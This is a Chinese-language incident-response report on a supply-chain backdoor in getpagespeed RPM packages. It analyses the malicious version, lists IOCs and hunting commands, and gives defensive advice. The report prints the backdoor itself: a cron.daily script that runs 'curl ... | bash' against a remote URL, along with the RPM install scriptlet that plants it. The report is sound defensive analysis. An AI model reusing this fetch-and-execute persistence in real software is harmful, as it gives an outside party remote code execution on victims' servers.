记一次供应链攻击的应急响应和防御思考

作者：MSQ@360MeshFireTeam、QDSD@360GearTeam

0x01 背景

近日，接用户反馈，笔者协助排查其360宙合系统DNS威胁情报告警时发现，某服务器短时间内多次域名解析地址extras.getpagespeed[.]com，该地址被360安全大脑情报中心标记为黑灰产类型，且关联到一已公开供应链攻击报告。

针对该IOC的威胁图谱及关联报告做进一步分析，根据这文章分析，发现第三方源提供商getpagespeed曾于2021年5月遭到供应链投毒攻击，用户在进行软件安装时会引入风险。基于此，初步判定为研发人员在安装第三方源时访问该地址导致中招，但目前一些知名网站，如pkgs.org还在提供getpagespeed的软件包，那么是情报过期导致的误报，还是getpagespeed再次被投毒了呢？这引起了笔者的注意。

0x02 分析

上机排查

排查了一下触发告警的机器，发现了后门文件/etc/cron.daily/gps:

#!/bin/bash
curl -s -m 300 https://www.getpagespeed.com/license/a57ef7ad9afc1b65d4732e244bd66beb44dacf25 | bash >/dev/null 2>&1 ||:

/etc/cron.daily为定时任务目录，该目录下的所有程序每天执行一次，且crontab -l命令看不到该目录下的定时任务的。根据日志分析，后门被发现时后门还未执行，请求后门地址返回结果为空。

getpagespeed上次被攻击时，只有通过yum命令才能成功安装有后门的包。但这次复现时发现无论怎么重新安装，都无法再生成/etc/cron.daily/gps文件，根据主机日志对比后发现释放后门的机器上安装的版本为getpagespeed-extras-release-11-9.noarch，而在其他机器复现时安装的版本为getpagespeed-extras-release-11-30.noarch，果然在缓存中找到了11-9版本的软件包。

样本分析

分析该样本发现在安装时会释放后门定时任务：

if [ 'uname -m' == 'x86_64' ] && test -d /etc/cron.daily && test -f /etc/machine-id; then
# https://www.freedesktop.org/software/systemd/man/machine-id.html
# the machine ID should be hashed with a cryptographic, keyed hash function, using a fixed,
# application-specific key
MACHINE_ID_HASHED=$(sha1sum /etc/machine-id | head -c 40)
CRON_FILE="/etc/cron.daily/gps"
echo '#!/bin/bash' > $CRON_FILE
# multiple different machine IDs appearing on the same IP constantly would mean service abuse
echo "curl -s -m 300 https://www.getpagespeed.com/license/${MACHINE_ID_HASHED} | bash >/dev/null 2>&1 ||:" >> $CRON_FILE
chmod 0755 $CRON_FILE
fi

添加定时任务时，脚本会把/etc/machine-id拼接到回连地址中用以区分不同的被控机器。看注释里说这个定时任务是作者为了判断是否有多个机器复用了自己的服务，也许是个“正常”的定时任务，但卸载脚本删除后门定时任务把文件名误写为gpss就很值得玩味了：

postuninstall scriptlet (using /bin/bash):
if [ "$1" -lt 1 ]; then
# Remove dynamically installed files, as they are not "part" of original RPM transaction
DNF_PLUGINS_DIR="/usr/lib/python*/site-packages/dnf-plugins"
rm -rf $DNF_PLUGINS_DIR/getpagespeed.py >/dev/null 2>&1 ||:
YUM_PLUGINS_DIR="/usr/lib/yum-plugins"
rm -rf $YUM_PLUGINS_DIR/getpagespeed.py* >/dev/null 2>&1 ||:
YUM_PLUGINS_CONF_DIR="/etc/yum/pluginconf.d"
rm -rf $YUM_PLUGINS_CONF_DIR/getpagespeed.conf >/dev/null 2>&1 ||:
rm -rf /etc/yum.repos.d/getpagespeed-extras-plesk.repo >/dev/null 2>&1 ||:
rm -rf /etc/etc/cron.daily/gpss >/dev/null 2>&1 ||:
fi

而11-9和11-30版本的打包时间只差了1s就更显得有些巧合了：

最后在被植入后门的机器上再次尝试安装getpagespeed-extras-release，仍旧只能安装11-30版本。

发文前笔者又次测试了一次，发第一次安装的版本为11-9，且包在安装中会释放上述后门，但第二次安装时就变为11-30的正常版本了:

看来getpagespeed并不像表面那样已经修复了，攻击者做了某些特殊处理，在特殊情况下才会安装有后门的包。该包的打包时间为2022年4月16日，可能已经有不少机器受到影响。攻击者和官方的关系我们不得而知，以上分析均来源于开源网络情报，不代表最终结论。

0x03 排查建议

排查命令

grep -r "getpagespeed.com" /etc/cron* /var/spool/cron*
rpm -qa|grep getpagespeed
•release-latest.rpm、getpagespeed-extras-release-11-9.noarch.rpm
–MD5:048add51f093ba0f96fcc3502eb32942
–SHA256:d0c578f44f9409eae846e6175ce0041bb498afa46321b9c7f935812e6850f3fa
•url
–www.getpagespeed[.]com
–extras.getpagespeed[.]com

0x04 防护思考

近年来，软件供应链攻击事件呈现爆发增长态势，笔者在日常安全运营工作中也多次遇到针对终端/主机的软件投毒事件。在此聚焦供应链投毒攻击的预防、检测和响应处置环节，浅谈一下个人的几点思考。

一、预防阶段：

1、技术层面：在DevSecOps安全左移过程中引入软件成分分析(Software Composition Analysis )工具，用于生成软件物料清单（Software Bill of Material)，全面识别、分析和追踪每个应用服务的组件情况，包括但不限于开发过程中的源码、框架、模块以及依赖包等，便于在响应供应链投毒攻击时快速排查受影响范围。

2、流程层面：针对供应链攻击制定完整可靠的应急预案SOP，自顶向下逐步细化检测、抑制、根除、恢复等各控制流程，便于在响应供应链投毒攻击时有清晰的步骤指引和操作规范。

3、管理层面：跟踪并审核代码组件的所有重大变更历史，定期组织安全性评估，条件允许情况下可自建yum源，并实施软件黑白名单限制和管控下发策略；同时除安全方案外，还需注重培养开发人员的风险预警与防范意识。

二、检测阶段：

1、流量侧威胁监控：日常安全情报收集订阅，包含但不限于威胁情报、漏洞情报、事件情报等，有条件的情况下可自行部署TIP/TDP威胁情报检测和查询系统到生产环境中，不具备自建能力则可以抓取本地通讯流量，提交至SaaS化的云端安全服务进行检测分析，辅助研判。笔者本次应急经历，一方面借助了宙合Saas Pcap分析平台的云端威胁鉴定服务，通过DNS情报匹配及时触发告警发现威胁；一方面借助360安全大脑情报中心，根据威胁图谱提供的关联数据做进一步分析，有效扩展安全线索，为整个响应过程提供指引。

2、安全设备监控：软件供应链投毒攻击本质上也属于有害程序事件，最终要落地到机器上实现入侵，因此利用EDR、CWPP等威胁检测响应平台，针对终端/主机的进程创建、文件写入、模块加载、注册表值写入等异常行为进行监控可实现对大多数攻击行为的捕获分析。本次应急经历中发现的定时任务后门释放，就可在crontab创建时通过对持久化行为的监控触发实时告警，当然高精度的检测还需要长时间运营积累以实现误报的持续收敛。

三、响应处置阶段：

根据应急响应PDCERF模型，在监测到供应链投毒攻击后，应按照事先准备好的SOP，遵循攻击缓解->攻击根除->业务修复->事件跟踪等一系列步骤，开展对应处置流程。

1、攻击缓解：本环节最重要的工作内容就是攻击入口的封堵、攻击传播链的阻断以及恶意IOC的封禁。通过告警日志排查、样本上机取证等手段，分析出恶意软件下载地址、被远控机器回连C2地址以及恶意程序横向传播手段，完成以下抑制操作：物理或逻辑隔离被控主机、封锁或重置被攻击的登录账号、在DNS服务上将恶意域名指向黑洞解析、在出口应用防火墙做C2封禁等等。

2、攻击根除：根据缓解步骤中提取出的各种IOC信息，全面关联告警查询，在各监控平台内做二次review,结合事前准备阶段的SBOM软件物料清单，全网全终端排查受影响范围。同时可将网络流量筛查、访问日志筛查、终端进程查杀/文件清除/持久化方式清除等工作编写为自动化脚本，通过SOAR工具实现批量下发执行，保证高效全面的根除处置。

3、业务修复及事件跟踪：恢复系统网络连接、恢复系统和应用服务、恢复账号等用户数据，对系统进行全面安全加固。同时做好整个安全事件的复盘工作，出具事件报告，从管理层面、流程层面、技术层面总结应急响应过程中存在的问题，修正并持续优化事件响应过程，形成闭环处置流程。

综上所述，供应链攻击防护属于系统问题，需要充分的纵深防御体系做支撑。其中最为关键的一环就是失陷检测，平衡公司安全建设ROI的同时引入合适的威胁检测系统，基于高质量的情报和规则，针对域名或者IP的C2监控做出快速响应；保证威胁可视化的前提下，接下来要重点做好来源管理，具体包括供应商评估、SCA分析、产品渗透等预防性工作。最后通过DevSecOps，做好软件全生命周期的过程管控。

0x04 引用

1.https://security.tencent.com/index.php/blog/msg/192

2.https://zhouhe.360.cn

3.https://sc.360.net